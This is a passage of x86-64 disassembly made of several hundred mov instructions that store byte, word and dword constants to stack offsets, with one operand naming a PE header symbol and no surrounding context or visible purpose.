mov word [rsp + 0x12d8], ax
mov dword [rsp + 0x57a4], 0x35df
mov dword [rsp + 0x57a8], 0x3ab19a3d
mov byte [rsp + 0xff], 4
mov dword [rsp + 0x57ac], 0x3e96b64d
mov eax, 0x73e
mov word [rsp + 0x12dc], ax
mov byte [rsp + 0x100], 0xd
mov eax, 0xb48
mov word [rsp + 0x12e0], ax
mov dword [rsp + 0x57b0], 0x6a3f
mov dword [rsp + 0x57b4], 0xb097
mov dword [rsp + 0x57b8], 0x27b88c68
mov dword [rsp + 0x57bc], 0xba7a
mov dword [rsp + 0x57c0], 0x4e0411a0
mov dword [rsp + 0x57c4], 0x8ba
mov dword [rsp + 0x57c8], 0x27eb1642
mov byte [rsp + 0x101], 0x2a
mov dword [rsp + 0x57cc], 0x21a3
mov dword [rsp + 0x57d0], 0x59e9c029
mov dword [rsp + 0x57d4], 0x5bdcf522
mov dword [rsp + 0x57d8], 0x34dce705
mov byte [rsp + 0x102], 0xe1
mov byte [rsp + 0x103], 0xfe
mov eax, 0x34c
mov word [rsp + 0x12e4], ax
mov byte [rsp + 0x104], 0xec
mov byte [rsp + 0x105], 0xb0
mov dword [rsp + 0x57dc], 0x488cb4da
mov eax, 0x377
mov word [rsp + 0x12e8], ax
mov dword [rsp + 0x57e0], 0x43e4153c
mov dword [rsp + 0x57e4], 0x31e10f39
mov dword [rsp + 0x57e8], 0x7c04876d
mov dword [rsp + 0x57ec], 0x38b71af1
mov byte [rsp + 0x106], 0x49
mov dword [rsp + 0x57f0], 0x164b216c
mov dword [rsp + 0x57f4], 0x43f8047d
mov byte [rsp + 0x107], 0x18
mov dword [rsp + 0x57f8], 0x5122
mov dword [rsp + 0x57fc], 0x375e
mov dword [rsp + 0x5800], 0x2f1073a8
mov eax, 0x59d
mov word [rsp + 0x12ec], ax
mov dword [rsp + 0x5804], 0x7f382376
mov byte [rsp + 0x108], 0x96
mov dword [rsp + 0x5808], 0x5d40
mov byte [rsp + 0x109], 0xb
mov byte [rsp + 0x10a], 0xaa
mov eax, 0x7c4
mov word [rsp + 0x12f0], ax
mov dword [rsp + 0x580c], 0x4804
mov byte [rsp + 0x10b], 0x6a
mov eax, 0x300
mov word [rsp + 0x12f4], ax
mov dword [rsp + 0x5810], 0x132a4230
mov dword [rsp + 0x5814], 0x1a97f8f6
mov dword [rsp + 0x5818], 0x5aa6
mov dword [rsp + 0x581c], 0x6a47dfea
mov byte [rsp + 0x10c], 0x11
mov eax, 0x945
mov word [rsp + 0x12f8], ax
mov byte [rsp + 0x10d], 0xf
mov eax, 0x492
mov word [rsp + 0x12fc], ax
mov dword [rsp + 0x5820], 0x6cc6
mov byte [rsp + 0x10e], 0x24
mov dword [rsp + 0x5824], 0x783f3d77
mov dword [rsp + 0x5828], 0xe39b
mov dword [rsp + 0x582c], 0xbaab
mov eax, 0xc11
mov word [rsp + 0x1300], ax
mov dword [rsp + 0x5830], 0x6ac820b9
mov dword [rsp + 0x5834], 0x5b1addec
mov byte [rsp + 0x10f], 0x7a
mov dword [rsp + 0x5838], 0x91cd
mov dword [rsp + 0x583c], 0x7aa9
mov byte [rsp + 0x110], 0xf0
mov dword [rsp + 0x5840], 0x37380bf8
mov byte [rsp + 0x111], 0xa0
mov byte [rsp + 0x112], 0x55
mov dword [rsp + 0x5844], 0x3826e202
mov dword [rsp + 0x5848], 0xc9de
mov dword [rsp + 0x584c], 0x8628
mov dword [rsp + 0x5850], 0x3d3d
mov dword [rsp + 0x5854], 0x2b515938
mov dword [rsp + 0x5858], 0x38d323ff
mov dword [rsp + 0x585c], 0x3b0cff1a
mov eax, 0x5bd
mov word [rsp + 0x1304], ax
mov dword [rsp + 0x5860], 0x5754182e
mov eax, 0x547
mov word [rsp + 0x1308], ax
mov dword [rsp + 0x5864], 0x64b598da
mov dword [rsp + 0x5868], 0x63133b37
mov eax, 0x48b
mov word [rsp + 0x130c], ax
mov byte [rsp + 0x113], 0x2b
mov dword [rsp + 0x586c], 0x1ec8e2e
mov eax, 0x957
mov word [rsp + 0x1310], ax
mov eax, 0x668
mov word [rsp + 0x1314], ax
mov dword [rsp + 0x5870], 0xf9db
mov byte [rsp + 0x114], 0xca
mov dword [rsp + 0x5874], 0xb27a
mov dword [rsp + 0x5878], 0x73ea
mov eax, 0x8be
mov word [rsp + 0x1318], ax
mov byte [rsp + 0x115], 0x72
mov dword [rsp + 0x587c], 0x13676418
mov eax, 0x860
mov word [rsp + 0x131c], ax
mov dword [rsp + 0x5880], 0x21bed2e0
mov dword [rsp + 0x5884], 0xd3f0
mov dword [rsp + 0x5888], 0xd629
mov dword [rsp + 0x588c], 0xc3ed
mov dword [rsp + 0x5890], 0xb5c8
mov dword [rsp + 0x5894], 0x37071aef
mov dword [rsp + 0x5898], 0x1701
mov dword [rsp + 0x589c], 0x695506bb
mov eax, 0x298
mov word [rsp + 0x1320], ax
mov eax, 0x377
mov word [rsp + 0x1324], ax
mov dword [rsp + 0x58a0], 0x126fc285
mov dword [rsp + 0x58a4], 0x7ce2d452
mov dword [rsp + 0x58a8], 0xf27e
mov byte [rsp + 0x116], 0x3e
mov dword [rsp + 0x58ac], 0x4b855538
mov dword [rsp + 0x58b0], 0xe9e7
mov dword [rsp + 0x58b4], 0xf0d9
mov dword [rsp + 0x58b8], 0x761f670a
mov eax, 0x21e
mov word [rsp + 0x1328], ax
mov byte [rsp + 0x117], 0x2f
mov dword [rsp + 0x58bc], 0x36ec3d95
mov dword [rsp + 0x58c0], 0x1fb6b123
mov dword [rsp + 0x58c4], 0x13a2ae84
mov dword [rsp + 0x58c8], 0x402818cd
mov eax, 0x47c
mov word [rsp + 0x132c], ax
mov dword [rsp + 0x58cc], 0x6965563c
mov eax, 0x28a
mov word [rsp + 0x1330], ax
mov dword [rsp + 0x58d0], 0x447d6380
mov eax, 0x53b
mov word [rsp + 0x1334], ax
mov dword [rsp + 0x58d4], 0x7bf22c84
mov eax, 0x452
mov word [rsp + 0x1338], ax
mov dword [rsp + 0x58d8], 0x384b4ca2
mov dword [rsp + 0x58dc], 0x762b
mov dword [rsp + 0x58e0], 0x65f5ea87
mov byte [rsp + 0x118], 0x53
mov dword [rsp + 0x58e4], 0x590f913c
mov dword [rsp + 0x58e8], 0x66785781
mov dword [rsp + 0x58ec], 0x2683921c
mov dword [rsp + 0x58f0], 0x9d92
mov dword [rsp + 0x58f4], 0xdf7c
mov eax, 0x330
mov word [rsp + 0x133c], ax
mov eax, 0xaf2
mov word [rsp + 0x1340], ax
mov dword [rsp + 0x58f8], 0x1e09acae
mov byte [rsp + 0x119], 0xfc
mov dword [rsp + 0x58fc], 0x36c05b8c
mov dword [rsp + 0x5900], 0x10dedcf5
mov dword [rsp + 0x5904], 0xd117
mov dword [rsp + 0x5908], 0x547e1636
mov byte [rsp + 0x11a], 0xa
mov byte [rsp + 0x11b], 0x2f
mov dword [rsp + 0x590c], 0x4821
mov dword [rsp + 0x5910], 0x31f5ad82
mov dword [rsp + 0x5914], 0x6dd1374f
mov dword [rsp + 0x5918], 0xe856
mov dword [rsp + 0x591c], 0x7166500c
mov dword [rsp + 0x5920], 0x523d
mov byte [rsp + 0x11c], 0xf4
mov byte [rsp + 0x11d], 0xd1
mov dword [rsp + 0x5924], 0x2a5c7020
mov dword [rsp + 0x5928], 0x3b626210
mov dword [rsp + 0x592c], 0x60d2f0c2
mov dword [rsp + 0x5930], 0xc92b
mov byte [rsp + 0x11e], 0x47
mov dword [rsp + 0x5934], 0x5882ef90
mov eax, 0x34d
mov word [rsp + 0x1344], ax
mov dword [rsp + 0x5938], 0x4dc64325
mov byte [rsp + 0x11f], 0x13
mov byte [rsp + 0x120], 0x2b
mov eax, 0x1d8
mov word [rsp + 0x1348], ax
mov byte [rsp + 0x121], 0xf9
mov byte [rsp + 0x122], 0x67
mov dword [rsp + 0x593c], 0xb55a
mov eax, 0x494
mov word [rsp + 0x134c], ax
mov dword [rsp + 0x5940], 0x3800317b
mov dword [rsp + 0x5944], 0x310311c2
mov byte [rsp + 0x123], 0xb2
mov eax, 0x63f
mov word [rsp + 0x1350], ax
mov byte [rsp + 0x124], 0xa6
mov dword [rsp + 0x5948], 0xb461
mov byte [rsp + 0x125], 0x4c
mov dword [rsp + 0x594c], 0xda62ac6
mov eax, 0x450
mov word [rsp + 0x1354], ax
mov dword [rsp + 0x5950], 0x4af5162d
mov byte [rsp + 0x126], 0x65
mov dword [rsp + 0x5954], 0x28073a79
mov dword [rsp + 0x5958], 0x10919c7e
mov byte [rsp + 0x127], 0x2d
mov dword [rsp + 0x595c], 0x19001fe7
mov byte [rsp + 0x128], 0x69
mov eax, 8
mov word [rsp + 0x1358], ax
mov dword [rsp + 0x5960], 0x2e05d137
mov byte [rsp + 0x129], 0x85
mov eax, 0xf02
mov word [rsp + 0x135c], ax
mov dword [rsp + 0x5964], 0x3bc67096
mov dword [rsp + 0x5968], 0x24ac7e18
mov dword [rsp + 0x596c], 0x54fc7cbd
mov eax, 0x3a1
mov word [rsp + 0x1360], ax
mov dword [rsp + 0x5970], 0x6cac
mov byte [rsp + 0x12a], 0x2a
mov dword [rsp + 0x5974], 0x7af7
mov byte [rsp + 0x12b], 0x56
mov dword [rsp + 0x5978], 0xf5a2
mov dword [rsp + 0x597c], 0x65f51b4e
mov byte [rsp + 0x12c], 0x72
mov dword [rsp + 0x5980], 0x901a
mov dword [rsp + 0x5984], 0xcee6
mov byte [rsp + 0x12d], 3
mov eax, 0x58a
mov word [rsp + 0x1364], ax
mov eax, 0x86f
mov word [rsp + 0x1368], ax
mov dword [rsp + 0x5988], 0x4a9beb6d
mov byte [rsp + 0x12e], 0x7b
mov eax, 0xcda
mov word [rsp + 0x136c], ax
mov dword [rsp + 0x598c], 0x53320ff2
mov dword [rsp + 0x5990], 0x719a24fb
mov dword [rsp + 0x5994], 0x86a0
mov dword [rsp + 0x5998], 0x276d
mov dword [rsp + 0x599c], 0x754ff4c7
mov dword [rsp + 0x59a0], 0x4e59
mov dword [rsp + 0x59a4], 0xaf34
mov dword [rsp + 0x59a8], 0x4d38c0b
mov byte [rsp + 0x12f], 0x4c
mov dword [rsp + 0x59ac], 0x5c347c45
mov byte [rsp + 0x130], 0xa8
mov dword [rsp + 0x59b0], 0x7948a9d9
mov byte [rsp + 0x131], 0x78
mov dword [rsp + 0x59b4], 0x787e4df3
mov dword [rsp + 0x59b8], 0x2f8bc13e
mov dword [rsp + 0x59bc], 0x4cee6421
mov byte [rsp + 0x132], 0x69
mov byte [rsp + 0x133], 3
mov dword [rsp + 0x59c0], 0x39a9f24
mov byte [rsp + 0x134], 0x6c
mov dword [rsp + 0x59c4], 0x287c4ba3
mov eax, 0xb38
mov word [rsp + 0x1370], ax
mov dword [rsp + 0x59c8], 0x10daba6b
mov dword [rsp + 0x59cc], 0x10c8d8b4
mov dword [rsp + 0x59d0], 0x21ee
mov dword [rsp + 0x59d4], 0x4fcaecd0
mov dword [rsp + 0x59d8], 0x6efab32a
mov dword [rsp + 0x59dc], 0x3d4b3948
mov eax, 0xd17
mov word [rsp + 0x1374], ax
mov byte [rsp + 0x135], 0x70
mov dword [rsp + 0x59e0], 0x8bcd
mov dword [rsp + 0x59e4], 0x3e9bf57d
mov dword [rsp + 0x59e8], 0x798a
mov dword [rsp + 0x59ec], 0x12c71eaa
mov dword [rsp + 0x59f0], 0x4c4c
mov byte [rsp + 0x136], 0x58
mov byte [rsp + 0x137], 0x4f
mov byte [rsp + 0x138], 0x83
mov dword [rsp + 0x59f4], 0x2f11eae9
mov byte [rsp + 0x139], 0x5d
mov dword [rsp + 0x59f8], 0x736385ba
mov eax, 0x7b6
mov word [rsp + 0x1378], ax
mov dword [rsp + 0x59fc], 0x6e97ad6f
mov dword [rsp + 0x5a00], 0x7fd1
mov dword [rsp + 0x5a04], 0x2478b9af
mov byte [rsp + 0x13a], 0xdb
mov dword [rsp + 0x5a08], 0x7a60f663
mov byte [rsp + 0x13b], 0x38
mov dword [rsp + 0x5a0c], 0x9b99
mov dword [rsp + 0x5a10], 0x70e3
mov eax, 0xa13
mov word [rsp + 0x137c], ax
mov dword [rsp + 0x5a14], 0xce4e
mov dword [rsp + 0x5a18], 0x44d43f59
mov dword [rsp + 0x5a1c], 0x20ca
mov dword [rsp + 0x5a20], 0x30e543bf
mov dword [rsp + 0x5a24], 0x4daec0e6
mov dword [rsp + 0x5a28], 0x5fd5fc34
mov byte [rsp + 0x13c], 0x57
mov byte [rsp + 0x13d], 0x34
mov eax, 0x6ce
mov word [rsp + 0x1380], ax
mov dword [rsp + 0x5a2c], 0x4498
mov dword [rsp + 0x5a30], 0x23e4e3bc
mov byte [rsp + 0x13e], 0xde
mov dword [rsp + 0x5a34], 0x3cf9
mov byte [rsp + 0x13f], 0x92
mov dword [rsp + 0x5a38], 0x4d3a9e8d
mov eax, 0x400
mov word [rsp + 0x1384], ax
mov dword [rsp + 0x5a3c], 0x6377c4b4
mov byte [rsp + 0x140], 0x53
mov dword [rsp + 0x5a40], 0x15da
mov byte [rsp + 0x141], 0x68
mov dword [rsp + 0x5a44], 0x1d7c
mov eax, 0x12e
mov word [rsp + 0x1388], ax
mov dword [rsp + 0x5a48], 0x6cc03817
mov byte [rsp + 0x142], 0x65
mov dword [rsp + 0x5a4c], 0x2515
mov dword [rsp + 0x5a50], 0xedba
mov byte [rsp + 0x143], 0x8e
mov eax, 0x94b
mov word [rsp + 0x138c], ax
mov dword [rsp + 0x5a54], 0x2804988d
mov dword [rsp + 0x5a58], 0x19bf
mov dword [rsp + 0x5a5c], 0x2a1781ff
mov dword [rsp + 0x5a60], 0x6746354b
mov dword [rsp + 0x5a64], 0x201d95ec
mov dword [rsp + 0x5a68], 0xa950
mov dword [rsp + 0x5a6c], 0x5f0f
mov byte [rsp + 0x144], 0xcd
mov byte [rsp + 0x145], 0xf6
mov dword [rsp + 0x5a70], 0x43a35972
mov eax, 0xcc
mov word [rsp + 0x1390], ax
mov byte [rsp + 0x146], 0x4f
mov dword [rsp + 0x5a74], 0x7a9dafee
mov byte [rsp + 0x147], 0xd9
mov byte [rsp + 0x148], 0x60
mov dword [rsp + 0x5a78], 0x2afc3565
mov dword [rsp + 0x5a7c], 0x41a17c7f
mov dword [rsp + 0x5a80], 0x3f5795f5
mov byte [rsp + 0x149], 0x81
mov byte [rsp + 0x14a], 0xa8
mov dword [rsp + 0x5a84], 0xa737c64
mov byte [rsp + 0x14b], 0xe6
mov byte [rsp + 0x14c], 0xa8
mov dword [rsp + 0x5a88], 0x2215
mov dword [rsp + 0x5a8c], 0x4ab6
mov eax, 0x835
mov word [rsp + 0x1394], ax
mov eax, 0x5ce
mov word [rsp + 0x1398], ax
mov dword [rsp + 0x5a90], 0x7ad4b756
mov dword [rsp + 0x5a94], 0x949e
mov dword [rsp + 0x5a98], 0xb912
mov dword [rsp + 0x5a9c], 0xee0fbd
mov byte [rsp + 0x14d], 9
mov dword [rsp + 0x5aa0], 0x2dab
mov dword [rsp + 0x5aa4], 0x2579e476
mov dword [rsp + 0x5aa8], 0x81e1
mov eax, 0x242
mov word [rsp + 0x139c], ax
mov eax, 0x737
mov word [rsp + 0x13a0], ax
mov dword [rsp + 0x5aac], 0x53987d2c
mov byte [rsp + 0x14e], 0x1d
mov byte [rsp + 0x14f], 0x92
mov dword [rsp + 0x5ab0], 0xef14
mov dword [rsp + 0x5ab4], 0x1fe437b0
mov dword [rsp + 0x5ab8], 0x133400d3
mov dword [rsp + 0x5abc], 0x53babca6
mov dword [rsp + 0x5ac0], 0xe505
mov dword [rsp + 0x5ac4], 0x9ace
mov dword [rsp + 0x5ac8], 0x7bf61dec
mov byte [rsp + 0x150], 0xc9
mov eax, 0x259
mov word [rsp + 0x13a4], ax
mov dword [rsp + 0x5acc], 0x147da313
mov byte [rsp + 0x151], 0xe6
mov eax, 0xc6d
mov word [rsp + 0x13a8], ax
mov dword [rsp + 0x5ad0], 0x5cb9f43e
mov eax, 0x1bf
mov word [rsp + 0x13ac], ax
mov dword [rsp + 0x5ad4], 0xddd1
mov byte [rsp + 0x152], 0xf7
mov dword [rsp + 0x5ad8], 0x6bfe
mov dword [rsp + 0x5adc], 0x7551
mov dword [rsp + 0x5ae0], 0x143c44ec
mov dword [rsp + 0x5ae4], 0x3d10986c
mov dword [rsp + 0x5ae8], 0x6bfe0e39
mov byte [rsp + 0x153], 0x3d
mov eax, 0xbc0
mov word [rsp + 0x13b0], ax
mov eax, 0x2e6
mov word [rsp + 0x13b4], ax
mov dword [rsp + 0x5aec], 0xc1c5
mov eax, 0x8ff
mov word [rsp + 0x13b8], ax
mov dword [rsp + 0x5af0], 0x472c4d8
mov eax, 0x91a
mov word [rsp + 0x13bc], ax
mov dword [rsp + 0x5af4], 0x18c39334
mov dword [rsp + 0x5af8], 0x597a
mov byte [rsp + 0x154], 0xf6
mov eax, 0xce8
mov word [rsp + 0x13c0], ax
mov dword [rsp + 0x5afc], 0x475af93
mov byte [rsp + 0x155], 3
mov byte [rsp + 0x156], 0xa6
mov dword [rsp + 0x5b00], 0xf043
mov dword [rsp + 0x5b04], 0x80ff
mov dword [rsp + 0x5b08], 0xf71f
mov eax, 0x114
mov word [rsp + 0x13c4], ax
mov dword [rsp + 0x5b0c], 0xc8c7
mov dword [rsp + 0x5b10], 0x23b5
mov byte [rsp + 0x157], 0x29
mov eax, 0xa24
mov word [rsp + 0x13c8], ax
mov dword [rsp + 0x5b14], 0x3d68420e
mov eax, 0x706
mov word [rsp + 0x13cc], ax
mov byte [rsp + 0x158], 0x68
mov dword [rsp + 0x5b18], 0xd183
mov dword [rsp + 0x5b1c], 0x35b885f1
mov eax, 0xdda
mov word [rsp + 0x13d0], ax
mov dword [rsp + 0x5b20], 0x2e09900e
mov byte [rsp + 0x159], 7
mov byte [rsp + 0x15a], 0xd3
mov byte [rsp + 0x15b], 0x6e
mov dword [rsp + 0x5b24], 0x8a34
mov byte [rsp + 0x15c], 0xbe
mov dword [rsp + 0x5b28], 0x777d2555
mov dword [rsp + 0x5b2c], 0xe970f6a
mov dword [rsp + 0x5b30], 0x7d944199
mov dword [rsp + 0x5b34], 0x161eada8
mov dword [rsp + 0x5b38], 0x2052424b
mov byte [rsp + 0x15d], 0x17
mov dword [rsp + 0x5b3c], 0x88b6
mov eax, 0x486
mov word [rsp + 0x13d4], ax
mov eax, 0x14a
mov word [rsp + 0x13d8], ax
mov dword [rsp + 0x5b40], 0x28f7dad1
mov dword [rsp + 0x5b44], 0x1f4026d9
mov byte [rsp + 0x15e], 0xb9
mov dword [rsp + 0x5b48], 0x27dd
mov eax, 0xe3d
mov word [rsp + 0x13dc], ax
mov eax, 0xe06
mov word [rsp + 0x13e0], ax
mov dword [rsp + 0x5b4c], 0x2867f567
mov eax, 0x3f6
mov word [rsp + 0x13e4], ax
mov byte [rsp + 0x15f], 0x60
mov eax, 0xebb
mov word [rsp + 0x13e8], ax
mov byte [rsp + 0x160], 0x66
mov dword [rsp + 0x5b50], 0x597d
mov byte [rsp + 0x161], 0x4c
mov byte [rsp + 0x162], 0x4b
mov dword [rsp + 0x5b54], 0x418932ac
mov dword [rsp + 0x5b58], 0x6e065ec
mov dword [rsp + 0x5b5c], 0x56924c97
mov eax, 0x5f6
mov word [rsp + 0x13ec], ax
mov dword [rsp + 0x5b60], 0x496d6a85
mov dword [rsp + 0x5b64], 0x26323f28
mov eax, 0x1e2
mov word [rsp + 0x13f0], ax
mov dword [rsp + 0x5b68], 0x6a65
mov byte [rsp + 0x163], 0x44
mov dword [rsp + 0x5b6c], 0x267a5748
mov eax, 0x3b
mov word [rsp + 0x13f4], ax
mov dword [rsp + 0x5b70], 0x319b93cb
mov eax, 0xd14
mov word [rsp + 0x13f8], ax
mov eax, 0x4a1
mov word [rsp + 0x13fc], ax
mov byte [rsp + 0x164], 0
mov byte [rsp + 0x165], 0x9a
mov eax, 0x6d
mov word [rsp + 0x1400], ax
mov dword [rsp + 0x5b74], 0x1514c586
mov dword [rsp + 0x5b78], 0x4e4679da
mov dword [rsp + 0x5b7c], 0xc79e
mov dword [rsp + 0x5b80], 0x8a7176b
mov dword [rsp + 0x5b84], 0x491ac917
mov dword [rsp + 0x5b88], 0x64b1012c
mov byte [rsp + 0x166], 0xd3
mov dword [rsp + 0x5b8c], 0xabe
mov eax, 0xe74
mov word [rsp + 0x1404], ax
mov eax, 0x1fa
mov word [rsp + 0x1408], ax
mov dword [rsp + 0x5b90], 0x3386
mov byte [rsp + 0x167], 0x7c
mov eax, 0x135
mov word [rsp + 0x140c], ax
mov byte [rsp + 0x168], 0x74
mov dword [rsp + 0x5b94], 0x34f4
mov eax, 0xc77
mov word [rsp + 0x1410], ax
mov dword [rsp + 0x5b98], 0x933b67d
mov dword [rsp + 0x5b9c], 0x6c2f0fbf
mov dword [rsp + 0x5ba0], 0x974c1e5
mov eax, 0x519
mov word [rsp + 0x1414], ax
mov byte [rsp + 0x169], 0xca
mov dword [rsp + 0x5ba4], 0x3944b840
mov eax, 0xd6
mov word [rsp + 0x1418], ax
mov dword [rsp + 0x5ba8], 0x7a929662
mov byte [rsp + 0x16a], 0x33
mov byte [rsp + 0x16b], 0x1e
mov dword [rsp + 0x5bac], 0x224c
mov dword [rsp + 0x5bb0], 0x6b88
mov eax, 0xdf2
mov word [rsp + 0x141c], ax
mov byte [rsp + 0x16c], 0xf0
mov dword [rsp + 0x5bb4], 0x682bbbe2
mov eax, 0x1e
mov word [rsp + 0x1420], ax
mov eax, 0x233
mov word [rsp + 0x1424], ax
mov dword [rsp + 0x5bb8], 0x1f96
mov byte [rsp + 0x16d], 0xc7
mov dword [rsp + 0x5bbc], 0x5ef70b92
mov dword [rsp + 0x5bc0], 0x15b9441
mov byte [rsp + 0x16e], 0x65
mov dword [rsp + 0x5bc4], 0x3b94c105
mov byte [rsp + 0x16f], 0x18
mov eax, 0x828
mov word [rsp + 0x1428], ax
mov eax, 0x56
mov word [rsp + 0x142c], ax
mov dword [rsp + 0x5bc8], 0xa2c8f42
mov byte [rsp + 0x170], 0x47
mov dword [rsp + 0x5bcc], 0x1b3e487
mov dword [rsp + 0x5bd0], 0x3256e135
mov byte [rsp + 0x171], 0xf2
mov byte [rsp + 0x172], 0xbe
mov dword [rsp + 0x5bd4], 0x51259956
mov eax, 0x4f5
mov word [rsp + 0x1430], ax
mov byte [rsp + 0x173], 0xb4
mov dword [rsp + 0x5bd8], 0x7083ddc4
mov dword [rsp + 0x5bdc], 0xb1
mov dword [rsp + 0x5be0], 0x8e11
mov dword [rsp + 0x5be4], 0xed21
mov eax, 0x49d
mov word [rsp + 0x1434], ax
mov eax, pe_nt_image_headers64
mov word [rsp + 0x1438], ax
mov dword [rsp + 0x5be8], 0x820f
mov eax, 0x8b2
mov word [rsp + 0x143c], ax
mov dword [rsp + 0x5bec], 0x788fe6dd
mov eax, 0xde
mov word [rsp + 0x1440], ax
mov byte [rsp + 0x174], 0x98
mov dword [rsp + 0x5bf0], 0xbc6a
mov dword [rsp + 0x5bf4], 0x13a68b99
mov eax, 0x2c2
mov word [rsp + 0x1444], ax
mov dword [rsp + 0x5bf8], 0x13aff9f9
mov dword [rsp + 0x5bfc], 0x931b
mov dword [rsp + 0x5c00], 0x72d180c8
mov eax, 0xd0c
mov word [rsp + 0x1448], ax
mov dword [rsp + 0x5c04], 0xc99116a
mov byte [rsp + 0x175], 0xe
mov eax, 0x5d5
mov word [rsp + 0x144c], ax
mov dword [rsp + 0x5c08], 0x78426fe3
mov dword [rsp + 0x5c0c], 0x2206d81e
mov dword [rsp + 0x5c10], 0xdf3f
mov eax, 0x4da
mov word [rsp + 0x1450], ax
mov dword [rsp + 0x5c14], 0x2ee0398d
mov dword [rsp + 0x5c18], 0x2b3919c5
mov eax, 0xf67
mov word [rsp + 0x1454], ax
mov byte [rsp + 0x176], 0x69
mov byte [rsp + 0x177], 0x69
mov dword [rsp + 0x5c1c], 0x632d0a2
mov byte [rsp + 0x178], 0xf9
mov eax, 0x26
mov word [rsp + 0x1458], ax
mov byte [rsp + 0x179], 0x4d
mov byte [rsp + 0x17a], 0x6a
mov eax, 0xe4
mov word [rsp + 0x145c], ax
mov eax, 0x720
mov word [rsp + 0x1460], ax
mov eax, 0x752
mov word [rsp + 0x1464], ax
mov dword [rsp + 0x5c20], 0x39fb0c7e
mov byte [rsp + 0x17b], 0x5b
mov dword [rsp + 0x5c24], 0x29a7
mov dword [rsp + 0x5c28], 0x3a876f9d
mov dword [rsp + 0x5c2c], 0x38639117
mov eax, 0x62c
mov word [rsp + 0x1468], ax
mov byte [rsp + 0x17c], 0x7f
mov dword [rsp + 0x5c30], 0x1e9b8aed
mov dword [rsp + 0x5c34], 0x28a646ef
mov eax, 0x71e
mov word [rsp + 0x146c], ax
mov dword [rsp + 0x5c38], 0x2551f49f
mov eax, 0x3f4
mov word [rsp + 0x1470], ax
mov byte [rsp + 0x17d], 0x23
mov dword [rsp + 0x5c3c], 0x12588e09
mov byte [rsp + 0x17e], 0x77
mov byte [rsp + 0x17f], 0x64
mov dword [rsp + 0x5c40], 0x43376b86
mov dword [rsp + 0x5c44], 0x20dc
mov dword [rsp + 0x5c48], 0xced508a
mov dword [rsp + 0x5c4c], 0x684b3e3d
mov byte [rsp + 0x180], 0x18
mov byte [rsp + 0x181], 0xbc
mov dword [rsp + 0x5c50], 0x694c172f
mov dword [rsp + 0x5c54], 0x2b7224b0
mov dword [rsp + 0x5c58], 0x5de7b9f9
mov byte [rsp + 0x182], 0x5d
mov byte [rsp + 0x183], 0x6e
mov eax, 0xc
mov word [rsp + 0x1474], ax
mov dword [rsp + 0x5c5c], 0x8bf3
mov byte [rsp + 0x184], 0x39
mov dword [rsp + 0x5c60], 0xb6c4
mov dword [rsp + 0x5c64], 0x3dc8ae44
mov dword [rsp + 0x5c68], 0x322af86b
mov dword [rsp + 0x5c6c], 0xb326
mov dword [rsp + 0x5c70], 0xb38e
mov dword [rsp + 0x5c74], 0x592a6130
mov dword [rsp + 0x5c78], 0xbffa
mov dword [rsp + 0x5c7c], 0x2fdf
mov eax, 0x178
mov word [rsp + 0x1478], ax
mov dword [rsp + 0x5c80], 0x65cd8a50
mov dword [rsp + 0x5c84], 0x3b6a
mov dword [rsp + 0x5c88], 0x29563ee7
mov dword [rsp + 0x5c8c], 0x3b3bd795
mov dword [rsp + 0x5c90], 0x289509db
mov eax, 0xb19
mov word [rsp + 0x147c], ax
mov dword [rsp + 0x5c94], 0xb290
mov dword [rsp + 0x5c98], 0x1757b9b8
mov eax, 0x547
mov word [rsp + 0x1480], ax
mov dword [rsp + 0x5c9c], 0xa48f
mov eax, 0x14c
mov word [rsp + 0x1484], ax
mov byte [rsp + 0x185], 0x15
mov dword [rsp + 0x5ca0], 0x129a43c5
mov byte [rsp + 0x186], 8
mov dword [rsp + 0x5ca4], 0x5aaf2f2c
mov dword [rsp + 0x5ca8], 0x400e7609
mov eax, 0x7d5
mov word [rsp + 0x1488], ax
mov dword [rsp + 0x5cac], 0x73d4
mov dword [rsp + 0x5cb0], 0xd6e6
mov byte [rsp + 0x187], 0xd4
mov dword [rsp + 0x5cb4], 0x22d4bb8e
mov dword [rsp + 0x5cb8], 0x3742e9bd
mov eax, 0x143
mov word [rsp + 0x148c], ax
mov byte [rsp + 0x188], 0x33
mov dword [rsp + 0x5cbc], 0x8ed3
mov dword [rsp + 0x5cc0], 0x18b1e3cc
mov dword [rsp + 0x5cc4], 0x3263015c
mov byte [rsp + 0x189], 0xa2
mov dword [rsp + 0x5cc8], 0x574e8546
mov eax, 0x355
mov word [rsp + 0x1490], ax
mov byte [rsp + 0x18a], 0x92
mov eax, 0xdd4
mov word [rsp + 0x1494], ax
mov dword [rsp + 0x5ccc], 0x1713775f
mov byte [rsp + 0x18b], 0x62
mov dword [rsp + 0x5cd0], 0x40cc
mov byte [rsp + 0x18c], 0x81
mov dword [rsp + 0x5cd4], 0x8b87
mov eax, 0x5b2
mov word [rsp + 0x1498], ax
mov dword [rsp + 0x5cd8], 0x9718f5a
mov dword [rsp + 0x5cdc], 0x1c4
mov dword [rsp + 0x5ce0], 0x520
mov dword [rsp + 0x5ce4], 0xfc66
mov dword [rsp + 0x5ce8], 0x2a0b1873
mov dword [rsp + 0x5cec], 0x1a6e7f69
mov eax, 0x35e
mov word [rsp + 0x149c], ax
mov dword [rsp + 0x5cf0], 0xa87e
mov dword [rsp + 0x5cf4], 0x5e71af4
mov byte [rsp + 0x18d], 0xd7
mov eax, 0xf69
mov word [rsp + 0x14a0], ax
mov eax, 0x744
mov word [rsp + 0x14a4], ax
mov byte [rsp + 0x18e], 0x13
mov byte [rsp + 0x18f], 0x1f
mov eax, 0x6ee
mov word [rsp + 0x14a8], ax
mov dword [rsp + 0x5cf8], 0x959f
mov byte [rsp + 0x190], 0xcb
mov dword [rsp + 0x5cfc], 0x3bb89215
mov dword [rsp + 0x5d00], 0xad0dad1
mov dword [rsp + 0x5d04], 0x5f780f47
mov dword [rsp + 0x5d08], 0x6fef804d
mov byte [rsp + 0x191], 0x7b
mov byte [rsp + 0x192], 0x69
mov dword [rsp + 0x5d0c], 0x40459bab
mov dword [rsp + 0x5d10], 0x3d2c099a
mov dword [rsp + 0x5d14], 0xbd2b
mov eax, 0x5d
mov word [rsp + 0x14ac], ax
mov eax, 0x5f1
mov word [rsp + 0x14b0], ax
mov eax, 0x58d
mov word [rsp + 0x14b4], ax
mov dword [rsp + 0x5d18], 0x59b95480
mov dword [rsp + 0x5d1c], 0x75c4
mov dword [rsp + 0x5d20], 0x3cc25fad
mov byte [rsp + 0x193], 0x4a
mov dword [rsp + 0x5d24], 0x407a
mov byte [rsp + 0x194], 0xd3
mov byte [rsp + 0x195], 0x39
mov dword [rsp + 0x5d28], 0x82590f8
